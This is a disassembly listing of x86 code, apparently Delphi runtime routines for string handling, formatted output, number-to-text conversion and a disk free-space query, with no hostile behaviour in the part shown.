proc near ; CODE XREF: sub_4044E8+Ep push ebx push esi push edi push ebp mov esi, edx mov ebx, eax mov eax, esi call sub_402840 mov edi, eax mov eax, ebx call sub_402A38 mov ebp, eax test edi, edi jle short loc_4044DE loc_4044B6: ; CODE XREF: sub_404498+44j mov bl, [esi+edi-1] test bl, bl jz short loc_4044D9 mov edx, ebx mov eax, ebp call sub_404634 test eax, eax jz short loc_4044D9 mov edx, edi mov eax, esi call sub_406164 cmp al, 2 jnz short loc_4044DE dec edi loc_4044D9: ; CODE XREF: sub_404498+24j ; sub_404498+31j dec edi test edi, edi jg short loc_4044B6 loc_4044DE: ; CODE XREF: sub_404498+1Cj ; sub_404498+3Ej mov eax, edi pop ebp pop edi pop esi pop ebx retn sub_404498 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4044E8 proc near ; CODE XREF: sub_405CFC+CCp push ebx push esi push edi mov edi, edx mov ebx, eax mov edx, ebx mov eax, offset dword_40451C call sub_404498 mov esi, eax push edi lea edx, [esi+1] mov ecx, 7FFFFFFFh mov eax, ebx call sub_402A94 pop edi pop esi pop ebx retn sub_4044E8 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_40451C dd 3A5Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404520 proc near ; DATA XREF: sub_40685C+2Ao var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx mov eax, [ebp+arg_0] test eax, eax jnz short loc_404530 xor eax, eax loc_404530: ; CODE XREF: sub_404520+Cj lea edx, [ebp+var_10] push edx lea edx, [ebp+var_C] push edx lea edx, [ebp+var_8] push edx lea edx, [ebp+var_4] push edx push eax call sub_403628 ; GetDiskFreeSpaceA mov ebx, eax mov eax, [ebp+var_4] imul [ebp+var_8] xor edx, edx mov [ebp+var_18], eax mov [ebp+var_14], edx mov eax, [ebp+var_C] xor edx, edx push edx push eax mov eax, [ebp+var_18] mov edx, [ebp+var_14] call sub_402DC0 mov ecx, [ebp+arg_4] mov [ecx], eax mov [ecx+4], edx mov eax, [ebp+var_10] xor edx, edx push edx push eax mov eax, [ebp+var_18] mov edx, [ebp+var_14] call sub_402DC0 mov ecx, [ebp+arg_8] mov [ecx], eax mov [ecx+4], edx mov eax, ebx pop ebx mov esp, ebp pop ebp retn 10h sub_404520 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_404594 proc near ; CODE XREF: sub_404AE0+16p ; CODE:00405765p ... mov edx, edi mov edi, eax mov ecx, 0FFFFFFFFh xor al, al repne scasb mov eax, 0FFFFFFFEh sub eax, ecx mov edi, edx retn sub_404594 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4045AC proc near ; CODE XREF: sub_404654+2Bp push esi mov esi, eax xchg eax, edx call sub_401340 mov eax, esi pop esi retn sub_4045AC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4045BC proc near ; CODE XREF: CODE:00405739p push edi push esi push ebx mov esi, eax mov edi, edx mov ebx, ecx xor al, al test ecx, ecx jz short loc_4045D0 repne scasb jnz short loc_4045D0 inc ecx loc_4045D0: ; CODE XREF: sub_4045BC+Dj ; sub_4045BC+11j sub ebx, ecx mov edi, esi mov esi, edx mov edx, edi mov ecx, ebx shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb stosb mov eax, edx pop ebx pop esi pop edi retn sub_4045BC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4045F0 proc near ; CODE XREF: sub_405474+109p ; sub_405474+12Fp ... push edi push esi push ebx mov edi, edx mov esi, eax mov ebx, ecx xor eax, eax or ecx, ecx jz short loc_40462E repne scasb sub ebx, ecx mov ecx, ebx mov edi, edx xor edx, edx loc_404609: ; CODE XREF: sub_4045F0+3Cj repe cmpsb jz short loc_40462E mov al, [esi-1] cmp al, 61h jb short loc_40461A cmp al, 7Ah ja short loc_40461A sub al, 20h loc_40461A: ; CODE XREF: sub_4045F0+22j ; sub_4045F0+26j mov dl, [edi-1] cmp dl, 61h jb short loc_40462A cmp dl, 7Ah ja short loc_40462A sub dl, 20h loc_40462A: ; CODE XREF: sub_4045F0+30j ; sub_4045F0+35j sub eax, edx jz short loc_404609 loc_40462E: ; CODE XREF: sub_4045F0+Dj ; sub_4045F0+1Bj pop ebx pop esi pop edi retn sub_4045F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_404634 proc near ; CODE XREF: sub_404498+2Ap ; sub_406224+Bp ... push edi push eax mov edi, eax mov ecx, 0FFFFFFFFh xor al, al repne scasb not ecx pop edi mov al, dl repne scasb mov eax, 0 jnz short loc_404652 mov eax, edi dec eax loc_404652: ; CODE XREF: sub_404634+19j pop edi retn sub_404634 endp ; =============== S U B R O U T I N E ======================================= sub_404654 proc near ; CODE XREF: sub_4047F6+7Dp var_34 = byte ptr -34h var_14 = dword ptr -14h var_10 = byte ptr -10h push ebx push esi push edi add esp, 0FFFFFFD8h mov ebx, ecx mov esi, edx mov edi, eax cmp ebx, 1Fh jbe short loc_40466A mov ebx, 1Fh loc_40466A: ; CODE XREF: sub_404654+Fj mov edx, ebx dec edx mov eax, esi call sub_406188 cmp al, 1 jnz short loc_404679 dec ebx loc_404679: ; CODE XREF: sub_404654+22j mov eax, esp mov ecx, ebx mov edx, esi call sub_4045AC mov [esp+ebx+34h+var_34], 0 mov eax, esp mov [esp+34h+var_14], eax mov [esp+34h+var_10], 6 lea edx, [esp+34h+var_14] mov eax, ds:off_4090F8[edi*4] xor ecx, ecx call sub_4043CC add esp, 28h pop edi pop esi pop ebx retn sub_404654 endp ; =============== S U B R O U T I N E ======================================= sub_4046AC proc near ; CODE XREF: sub_4047F6+1B2p push ebx push esi mov esi, edx mov ebx, eax mov eax, ebx mov edx, esi call sub_402DA8 pop esi pop ebx retn sub_4046AC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4046C0 proc near ; CODE XREF: sub_4046CC+D3p push ebx mov ebx, eax mov eax, ebx call sub_4025C8 pop ebx retn sub_4046C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4046CC proc near ; CODE XREF: sub_404AE0+2Ap ; sub_404B34+4Ap ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_19 = byte ptr -19h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 00404AD0 SIZE 0000000F BYTES push ebp mov ebp, esp add esp, 0FFFFFF8Ch push ebx xor ebx, ebx mov [ebp+var_14], ebx push ebx push esi push edi mov edi, eax mov esi, ecx xor eax, eax mov [ebp+var_4], eax add ecx, [ebp+arg_8] mov [ebp+var_8], edi xor eax, eax mov [ebp+var_C], eax mov [ebp+var_10], eax mov [ebp+var_14], eax loc_4046F5: ; CODE XREF: sub_4046CC+DDj or edx, edx jz short loc_404706 loc_4046F9: ; CODE XREF: sub_4046CC+38j cmp esi, ecx jz short loc_404706 lodsb cmp al, 25h jz short loc_404710 loc_404702: ; CODE XREF: sub_4046CC+4Bj stosb dec edx jnz short loc_4046F9 loc_404706: ; CODE XREF: sub_4046CC+2Bj ; sub_4046CC+2Fj ... mov eax, edi sub eax, [ebp+var_8] jmp loc_404AD0 ; --------------------------------------------------------------------------- loc_404710: ; CODE XREF: sub_4046CC+34j cmp esi, ecx jz short loc_404706 lodsb cmp al, 25h jz short loc_404702 lea ebx, [esi-2] mov [ebp+var_18], ebx loc_40471F: ; CODE XREF: sub_4046CC+70j mov [ebp+var_19], al cmp al, 2Dh jnz short loc_40472B cmp esi, ecx jz short loc_404706 lodsb loc_40472B: ; CODE XREF: sub_4046CC+58j call sub_4047AE cmp al, 3Ah jnz short loc_40473E mov [ebp+var_C], ebx cmp esi, ecx jz short loc_404706 lodsb jmp short loc_40471F ; --------------------------------------------------------------------------- loc_40473E: ; CODE XREF: sub_4046CC+66j mov [ebp+var_20], ebx mov ebx, 0FFFFFFFFh cmp al, 2Eh jnz short loc_404754 cmp esi, ecx jz short loc_404706 lodsb call sub_4047AE loc_404754: ; CODE XREF: sub_4046CC+7Cj mov [ebp+var_24], ebx mov [ebp+var_28], esi push ecx push edx call sub_4047F6 pop edx mov ebx, [ebp+var_20] sub ebx, ecx jnb short loc_40476B xor ebx, ebx loc_40476B: ; CODE XREF: sub_4046CC+9Bj cmp [ebp+var_19], 2Dh jnz short loc_40477B sub edx, ecx jnb short loc_404779 add ecx, edx xor edx, edx loc_404779: ; CODE XREF: sub_4046CC+A7j rep movsb loc_40477B: ; CODE XREF: sub_4046CC+A3j xchg ebx, ecx sub edx, ecx jnb short loc_404785 add ecx, edx xor edx, edx loc_404785: ; CODE XREF: sub_4046CC+B3j mov al, 20h rep stosb xchg ebx, ecx sub edx, ecx jnb short loc_404793 add ecx, edx xor edx, edx loc_404793: ; CODE XREF: sub_4046CC+C1j rep movsb cmp [ebp+var_10], 0 jz short loc_4047A5 push edx lea eax, [ebp+var_10] call sub_4046C0 pop edx loc_4047A5: ; CODE XREF: sub_4046CC+CDj pop ecx mov esi, [ebp+var_28] jmp loc_4046F5 sub_4046CC endp ; =============== S U B R O U T I N E ======================================= sub_4047AE proc near ; CODE XREF: sub_4046CC:loc_40472Bp ; sub_4046CC+83p xor ebx, ebx cmp al, 2Ah jz short loc_4047D6 loc_4047B4: ; CODE XREF: sub_4047AE+20j cmp al, 30h jb short locret_4047F5 cmp al, 39h ja short locret_4047F5 imul ebx, 0Ah sub al, 30h movzx eax, al add ebx, eax cmp esi, ecx jz short loc_4047D0 lodsb jmp short loc_4047B4 ; --------------------------------------------------------------------------- loc_4047D0: ; CODE XREF: sub_4047AE+1Dj ; sub_4047AE+44j pop eax jmp loc_404706 ; --------------------------------------------------------------------------- loc_4047D6: ; CODE XREF: sub_4047AE+4j mov eax, [ebp-0Ch] cmp eax, [ebp+8] ja short loc_4047F0 inc dword ptr [ebp-0Ch] mov ebx, [ebp+0Ch] cmp byte ptr [ebx+eax*8+4], 0 mov ebx, [ebx+eax*8] jz short loc_4047F0 xor ebx, ebx loc_4047F0: ; CODE XREF: sub_4047AE+2Ej ; sub_4047AE+3Ej cmp esi, ecx jz short loc_4047D0 lodsb locret_4047F5: ; CODE XREF: sub_4047AE+8j ; sub_4047AE+Cj retn sub_4047AE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4047F6 proc near ; CODE XREF: sub_4046CC+90p ; FUNCTION CHUNK AT 0040491E SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00404985 SIZE 0000013B BYTES and al, 0DFh mov cl, al mov eax, 1 mov ebx, [ebp-0Ch] cmp ebx, [ebp+8] ja short loc_404863 inc dword ptr [ebp-0Ch] mov esi, [ebp+0Ch] lea esi, [esi+ebx*8] mov eax, [esi] movzx edx, byte ptr [esi+4] jmp off_40481D[edx*4] ; --------------------------------------------------------------------------- off_40481D dd offset loc_40491E ; DATA XREF: sub_4047F6+20r dd offset loc_404861 dd offset loc_404985 dd offset loc_404A4B dd offset loc_4049B5 dd offset loc_404A2D dd offset loc_404A0D dd offset loc_404861 dd offset loc_404861 dd offset loc_404861 dd offset loc_4049C6 dd offset loc_4049F1 dd offset loc_404A47 dd offset loc_404994 dd offset loc_404861 dd offset loc_4049CD dd offset loc_404878 ; --------------------------------------------------------------------------- loc_404861: ; CODE XREF: sub_4047F6+20j ; sub_4047F6+9Cj ... xor eax, eax loc_404863: ; CODE XREF: sub_4047F6+Fj call sub_404AC0 mov edx, [ebp-18h] mov ecx, [ebp-28h] sub ecx, edx mov ebx, [ebp-4] call sub_404654 loc_404878: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+67o lea ebx, [ebp-30h] mov edx, [eax] mov [ebx], edx mov edx, [eax+4] mov [ebx+4], edx cmp cl, 44h jz short loc_40489B cmp cl, 55h jz short sub_4048B9 cmp cl, 58h jnz short loc_404861 mov ecx, 10h jmp short loc_4048BE ; --------------------------------------------------------------------------- loc_40489B: ; CODE XREF: sub_4047F6+92j test dword ptr [ebx+4], 80000000h jz short sub_4048B9 neg dword ptr [ebx] adc dword ptr [ebx+4], 0 neg dword ptr [ebx+4] call sub_4048B9 mov al, 2Dh inc ecx dec esi mov [esi], al retn sub_4047F6 endp ; =============== S U B R O U T I N E ======================================= sub_4048B9 proc near ; CODE XREF: sub_4047F6+97j ; sub_4047F6+ACj ... mov ecx, 0Ah loc_4048BE: ; CODE XREF: sub_4047F6+A3j lea esi, [ebp-51h] loc_4048C1: ; CODE XREF: sub_4048B9+46j push ebx push ecx push 0 push ecx mov eax, [ebx] mov edx, [ebx+4] mov ebx, [ebp-4] call sub_402E30 pop ecx pop ebx xchg eax, edx add dl, 30h cmp dl, 3Ah jb short loc_4048E1 add dl, 7 loc_4048E1: ; CODE XREF: sub_4048B9+23j dec esi mov [esi], dl push ebx push ecx push 0 push ecx mov eax, [ebx] mov edx, [ebx+4] mov ebx, [ebp-4] call sub_402DE4 pop ecx pop ebx mov [ebx], eax mov [ebx+4], edx or eax, edx jnz short loc_4048C1 lea ecx, [ebp-51h] sub ecx, esi mov edx, [ebp-24h] cmp edx, 10h jbe short loc_40490F retn ; --------------------------------------------------------------------------- loc_40490F: ; CODE XREF: sub_4048B9+53j sub edx, ecx jbe short locret_40491D add ecx, edx mov al, 30h loc_404917: ; CODE XREF: sub_4048B9+62j dec esi mov [esi], al dec edx jnz short loc_404917 locret_40491D: ; CODE XREF: sub_4048B9+58j retn sub_4048B9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4047F6 loc_40491E: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6:off_40481Do cmp cl, 44h jz short loc_404938 cmp cl, 55h jz short sub_40494A cmp cl, 58h jnz loc_404861 mov ecx, 10h jmp short loc_40494F ; --------------------------------------------------------------------------- loc_404938: ; CODE XREF: sub_4047F6+12Bj or eax, eax jns short sub_40494A neg eax call sub_40494A mov al, 2Dh inc ecx dec esi mov [esi], al retn ; END OF FUNCTION CHUNK FOR sub_4047F6 ; =============== S U B R O U T I N E ======================================= sub_40494A proc near ; CODE XREF: sub_4047F6+130j ; sub_4047F6+144j ... mov ecx, 0Ah loc_40494F: ; CODE XREF: sub_4047F6+140j ; sub_4047F6+24Cj lea esi, [ebp-61h] loc_404952: ; CODE XREF: sub_40494A+1Cj xor edx, edx div ecx add dl, 30h cmp dl, 3Ah jb short loc_404961 add dl, 7 loc_404961: ; CODE XREF: sub_40494A+12j dec esi mov [esi], dl or eax, eax jnz short loc_404952 lea ecx, [ebp-61h] sub ecx, esi mov edx, [ebp-24h] cmp edx, 10h jbe short loc_404976 retn ; --------------------------------------------------------------------------- loc_404976: ; CODE XREF: sub_40494A+29j sub edx, ecx jbe short locret_404984 add ecx, edx mov al, 30h loc_40497E: ; CODE XREF: sub_40494A+38j dec esi mov [esi], al dec edx jnz short loc_40497E locret_404984: ; CODE XREF: sub_40494A+2Ej retn sub_40494A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4047F6 loc_404985: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+2Fo cmp cl, 53h jnz loc_404861 mov ecx, 1 retn ; --------------------------------------------------------------------------- loc_404994: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+5Bo cmp cl, 53h jnz loc_404861 cmp word ptr [eax], 1 jbe short loc_4049B2 mov edx, eax lea eax, [ebp-10h] call sub_4046AC mov esi, [ebp-10h] jmp short loc_4049FC ; --------------------------------------------------------------------------- loc_4049B2: ; CODE XREF: sub_4047F6+1ABj ; sub_4047F6+208j xor ecx, ecx retn ; --------------------------------------------------------------------------- loc_4049B5: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+37o cmp cl, 53h jnz loc_404861 mov esi, eax lodsb movzx ecx, al jmp short loc_404A03 ; --------------------------------------------------------------------------- loc_4049C6: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+4Fo mov esi, offset loc_4027CC jmp short loc_4049D2 ; --------------------------------------------------------------------------- loc_4049CD: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+63o mov esi, offset loc_40282C loc_4049D2: ; CODE XREF: sub_4047F6+1D5j add esi, [ebp-4] cmp cl, 53h jnz loc_404861 mov edx, eax lea eax, [ebp-14h] push ebx mov ebx, [ebp-4] call esi pop ebx mov esi, [ebp-14h] mov eax, esi jmp short loc_4049FC ; --------------------------------------------------------------------------- loc_4049F1: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+53o cmp cl, 53h jnz loc_404861 mov esi, eax loc_4049FC: ; CODE XREF: sub_4047F6+1BAj ; sub_4047F6+1F9j or esi, esi jz short loc_4049B2 mov ecx, [esi-4] loc_404A03: ; CODE XREF: sub_4047F6+1CEj cmp ecx, [ebp-24h] ja short loc_404A09 retn ; --------------------------------------------------------------------------- loc_404A09: ; CODE XREF: sub_4047F6+210j mov ecx, [ebp-24h] retn ; --------------------------------------------------------------------------- loc_404A0D: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+3Fo cmp cl, 53h jnz loc_404861 mov esi, eax push edi mov edi, eax xor al, al mov ecx, [ebp-24h] jecxz short loc_404A27 repne scasb jnz short loc_404A27 dec edi loc_404A27: ; CODE XREF: sub_4047F6+22Aj ; sub_4047F6+22Ej mov ecx, edi sub ecx, esi pop edi retn ; --------------------------------------------------------------------------- loc_404A2D: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+3Bo cmp cl, 50h jnz loc_404861 mov dword ptr [ebp-24h], 8 mov ecx, 10h jmp loc_40494F ; --------------------------------------------------------------------------- loc_404A47: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+57o mov bh, 1 jmp short loc_404A4D ; --------------------------------------------------------------------------- loc_404A4B: ; CODE XREF: sub_4047F6+20j ; DATA XREF: sub_4047F6+33o mov bh, 0 loc_404A4D: ; CODE XREF: sub_4047F6+253j mov esi, eax mov bl, 0 cmp cl, 47h jz short loc_404A95 mov bl, 1 cmp cl, 45h jz short loc_404A95 mov bl, 2 cmp cl, 46h jz short loc_404A76 mov bl, 3 cmp cl, 4Eh jz short loc_404A76 cmp cl, 4Dh jnz loc_404861 mov bl, 4 loc_404A76: ; CODE XREF: sub_4047F6+26Cj ; sub_4047F6+273j mov eax, 12h mov edx, [ebp-24h] cmp edx, eax jbe short loc_404AA7 mov edx, 2 cmp cl, 4Dh jnz short loc_404AA7 movzx edx, ds:byte_40A6B8 jmp short loc_404AA7 ; --------------------------------------------------------------------------- loc_404A95: ; CODE XREF: sub_4047F6+25Ej ; sub_4047F6+265j mov eax, [ebp-24h] mov edx, 3 cmp eax, 12h jbe short loc_404AA7 mov eax, 0Fh loc_404AA7: ; CODE XREF: sub_4047F6+28Aj ; sub_4047F6+294j ... push ebx push eax push edx lea eax, [ebp-71h] mov edx, esi movzx ecx, bh mov ebx, [ebp-4] call sub_404C38 mov ecx, eax lea esi, [ebp-71h] retn ; END OF FUNCTION CHUNK FOR sub_4047F6 ; =============== S U B R O U T I N E ======================================= sub_404AC0 proc near ; CODE XREF: sub_4047F6:loc_404863p ; sub_4046CC:loc_404AD0p push ebx push eax lea eax, [ebp-14h] mov ebx, [ebp-4] call sub_4025C8 pop eax pop ebx retn sub_404AC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4046CC loc_404AD0: ; CODE XREF: sub_4046CC+3Fj call sub_404AC0 pop edi pop esi pop ebx pop ebx mov esp, ebp pop ebp retn 0Ch ; END OF FUNCTION CHUNK FOR sub_4046CC ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404AE0 proc near ; CODE XREF: CODE:00405811p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, ecx mov edi, edx mov ebx, eax test ebx, ebx jz short loc_404B17 test esi, esi jz short loc_404B17 mov eax, esi call sub_404594 push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax mov ecx, esi mov eax, ebx mov edx, edi call sub_4046CC mov byte ptr [ebx+eax], 0 mov eax, ebx jmp short loc_404B19 ; --------------------------------------------------------------------------- loc_404B17: ; CODE XREF: sub_404AE0+Ej ; sub_404AE0+12j xor eax, eax loc_404B19: ; CODE XREF: sub_404AE0+35j pop edi pop esi pop ebx pop ebp retn 8 sub_404AE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404B20 proc near ; CODE XREF: sub_405924+34p ; sub_4059E0+41p arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] xchg eax, ecx xchg edx, ecx call sub_404B34 pop ebp retn 4 sub_404B20 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404B34 proc near ; CODE XREF: sub_404B20+Ap var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFF004h push eax add esp, 0FFFFFFF8h push ebx push esi mov [ebp+var_8], ecx mov [ebp+var_4], edx mov esi, eax mov ebx, 1000h mov eax, [ebp+var_4] call sub_402840 cmp eax, 0C00h jge short loc_404B85 mov eax, [ebp+var_4] call sub_402840 push eax mov eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] lea eax, [ebp+var_1008] mov edx, 0FFFh call sub_4046CC jmp short loc_404B91 ; --------------------------------------------------------------------------- loc_404B85: ; CODE XREF: sub_404B34+29j mov eax, [ebp+var_4] call sub_402840 mov ebx, eax mov eax, ebx loc_404B91: ; CODE XREF: sub_404B34+4Fj mov edx, ebx dec edx cmp eax, edx jl short loc_404BDB jmp short loc_404BCA ; --------------------------------------------------------------------------- loc_404B9A: ; CODE XREF: sub_404B34+9Bj add ebx, ebx mov eax, esi call sub_4025C8 mov eax, esi mov edx, ebx call sub_402BC0 mov eax, [ebp+var_4] call sub_402840 push eax mov eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] mov edx, ebx dec edx mov eax, [esi] call sub_4046CC loc_404BCA: ; CODE XREF: sub_404B34+64j mov edx, ebx dec edx cmp eax, edx jge short loc_404B9A mov edx, esi xchg eax, edx call sub_402BC0 jmp short loc_404BE9 ; --------------------------------------------------------------------------- loc_404BDB: ; CODE XREF: sub_404B34+62j lea edx, [ebp+var_1008] mov ecx, esi xchg eax, ecx call sub_4026B4 loc_404BE9: ; CODE XREF: sub_404B34+A5j pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_404B34 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_404BF4 proc near ; CODE XREF: sub_404D41+8Fp push esi xor esi, esi stosb or bl, bl jnz short loc_404C00 xor edx, edx jmp short loc_404C0A ; --------------------------------------------------------------------------- loc_404C00: ; CODE XREF: sub_404BF4+6j or edx, edx jge short loc_404C0A mov al, 2Dh neg edx jmp short loc_404C10 ; --------------------------------------------------------------------------- loc_404C0A: ; CODE XREF: sub_404BF4+Aj ; sub_404BF4+Ej or ah, ah jz short loc_404C11 mov al, ah loc_404C10: ; CODE XREF: sub_404BF4+14j stosb loc_404C11: ; CODE XREF: sub_404BF4+18j xchg eax, edx push eax mov ebx, esp loc_404C15: ; CODE XREF: sub_404BF4+32j ; sub_404BF4+36j xor edx, edx div ds:flt_40910C[esi] add dl, 30h mov [ebx], dl inc ebx dec ecx or eax, eax jnz short loc_404C15 or ecx, ecx jg short loc_404C15 loc_404C2C: ; CODE XREF: sub_404BF4+3Ej dec ebx mov al, [ebx] stosb cmp ebx, esp jnz short loc_404C2C pop eax pop esi retn sub_404BF4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404C38 proc near ; CODE XREF: sub_4047F6+2BFp var_2C = word ptr -2Ch var_29 = byte ptr -29h var_14 = dword ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h ; FUNCTION CHUNK AT 00404F07 SIZE 00000006 BYTES push ebp mov ebp, esp add esp, 0FFFFFFD4h push edi push esi push ebx mov [ebp+var_4], eax mov al, ds:byte_40A6B7 mov [ebp+var_5], al mov al, ds:byte_40A6B6 mov [ebp+var_6], al mov eax, ds:dword_40A6B0 mov [ebp+var_C], eax mov al, ds:byte_40A6B4 mov [ebp+var_D], al mov al, ds:byte_40A6B5 mov [ebp+var_E], al mov [ebp+var_14], 0 mov eax, 13h cmp cl, 0 jnz short loc_404C94 mov eax, [ebp+arg_4] cmp eax, 2 jge short loc_404C8A mov eax, 2 loc_404C8A: ; CODE XREF: sub_404C38+4Bj cmp eax, 12h jle short loc_404C94 mov eax, 12h loc_404C94: ; CODE XREF: sub_404C38+43j ; sub_404C38+55j mov [ebp+arg_4], eax push eax mov eax, 270Fh cmp [ebp+arg_8], 2 jb short loc_404CA6 mov eax, [ebp+arg_0] loc_404CA6: ; CODE XREF: sub_404C38+69j push eax lea eax, [ebp+var_2C] call sub_404F10 mov edi, [ebp+var_4] movzx eax, [ebp+var_2C] sub eax, 7FFFh cmp eax, 2 jnb short loc_404CDA mov ecx, eax call sub_404D37 lea esi, dword_404D28[ecx+ecx*2] add esi, [ebp+var_14] mov ecx, 3 rep movsb jmp short loc_404D07 ; --------------------------------------------------------------------------- loc_404CDA: ; CODE XREF: sub_404C38+86j lea esi, [ebp+var_29] movzx ebx, [ebp+arg_8] cmp bl, 1 jz short loc_404CF6 cmp bl, 4 ja short loc_404CF4 movsx eax, [ebp+var_2C] cmp eax, [ebp+arg_4] jle short loc_404CF6 loc_404CF4: ; CODE XREF: sub_404C38+B1j mov bl, 0 loc_404CF6: ; CODE XREF: sub_404C38+ACj ; sub_404C38+BAj lea ebx, off_404D14[ebx*4] add ebx, [ebp+var_14] mov ebx, [ebx] add ebx, [ebp+var_14] call ebx loc_404D07: ; CODE XREF: sub_404C38+A0j mov eax, edi sub eax, [ebp+var_4] pop ebx pop esi pop edi jmp loc_404F07 sub_404C38 endp ; sp-analysis failed ; --------------------------------------------------------------------------- off_404D14 dd offset sub_404D41 ; DATA XREF: sub_404C38:loc_404CF6o dd offset loc_404D9F dd offset sub_404DD6 dd offset sub_404DD6 dd offset sub_404E40 dword_404D28 dd 4E464E49h ; --------------------------------------------------------------------------- inc ecx dec esi ; =============== S U B R O U T I N E ======================================= sub_404D2E proc near ; CODE XREF: sub_404D41+63p ; sub_404D41:loc_404DB2p ... lodsb or al, al jnz short locret_404D36 mov al, 30h dec esi locret_404D36: ; CODE XREF: sub_404D2E+3j retn sub_404D2E endp ; =============== S U B R O U T I N E ======================================= sub_404D37 proc near ; CODE XREF: sub_404C38+8Ap ; sub_404D41p ... cmp byte ptr [ebp-2Ah], 0 jz short locret_404D40 mov al, 2Dh stosb locret_404D40: ; CODE XREF: sub_404D37+4j retn sub_404D37 endp ; =============== S U B R O U T I N E ======================================= sub_404D41 proc near ; DATA XREF: CODE:off_404D14o call sub_404D37 movsx ecx, word ptr [ebp-2Ch] xor edx, edx cmp ecx, [ebp+0Ch] jg short loc_404D6E cmp ecx, 0FFFFFFFDh jl short loc_404D6E or ecx, ecx jg short loc_404D74 mov al, 30h stosb cmp byte ptr [esi], 0 jz short locret_404D9E mov al, [ebp-5] stosb neg ecx mov al, 30h rep stosb jmp short loc_404D88 ; --------------------------------------------------------------------------- loc_404D6E: ; CODE XREF: sub_404D41+Ej ; sub_404D41+13j mov ecx, 1 inc edx loc_404D74: ; CODE XREF: sub_404D41+17j ; sub_404D41+39j lodsb or al, al jz short loc_404D90 stosb loop loc_404D74 lodsb or al, al jz short loc_404D94 mov ah, al mov al, [ebp-5] stosw loc_404D88: ; CODE XREF: sub_404D41+2Bj ; sub_404D41+4Dj lodsb or al, al jz short loc_404D94 stosb jmp short loc_404D88 ; --------------------------------------------------------------------------- loc_404D90: ; CODE XREF: sub_404D41+36j mov al, 30h rep stosb loc_404D94: ; CODE XREF: sub_404D41+3Ej ; sub_404D41+4Aj or edx, edx jz short locret_404D9E xor eax, eax xor ecx, ecx jmp short loc_404DC6 ; --------------------------------------------------------------------------- locret_404D9E: ; CODE XREF: sub_404D41+1Fj ; sub_404D41+55j retn ; --------------------------------------------------------------------------- loc_404D9F: ; DATA XREF: CODE:00404D18o call sub_404D37 call sub_404D2E mov ah, [ebp-5] stosw mov ecx, [ebp+0Ch] dec ecx loc_404DB2: ; CODE XREF: sub_404D41+77j call sub_404D2E stosb loop loc_404DB2 mov ah, 2Bh mov ecx, [ebp+8] cmp ecx, 4 jb short loc_404DC6 xor ecx, ecx loc_404DC6: ; CODE XREF: sub_404D41+5Bj ; sub_404D41+81j mov al, 45h mov bl, [ebp-29h] movsx edx, word ptr [ebp-2Ch] dec edx call sub_404BF4 retn sub_404D41 endp ; =============== S U B R O U T I N E ======================================= 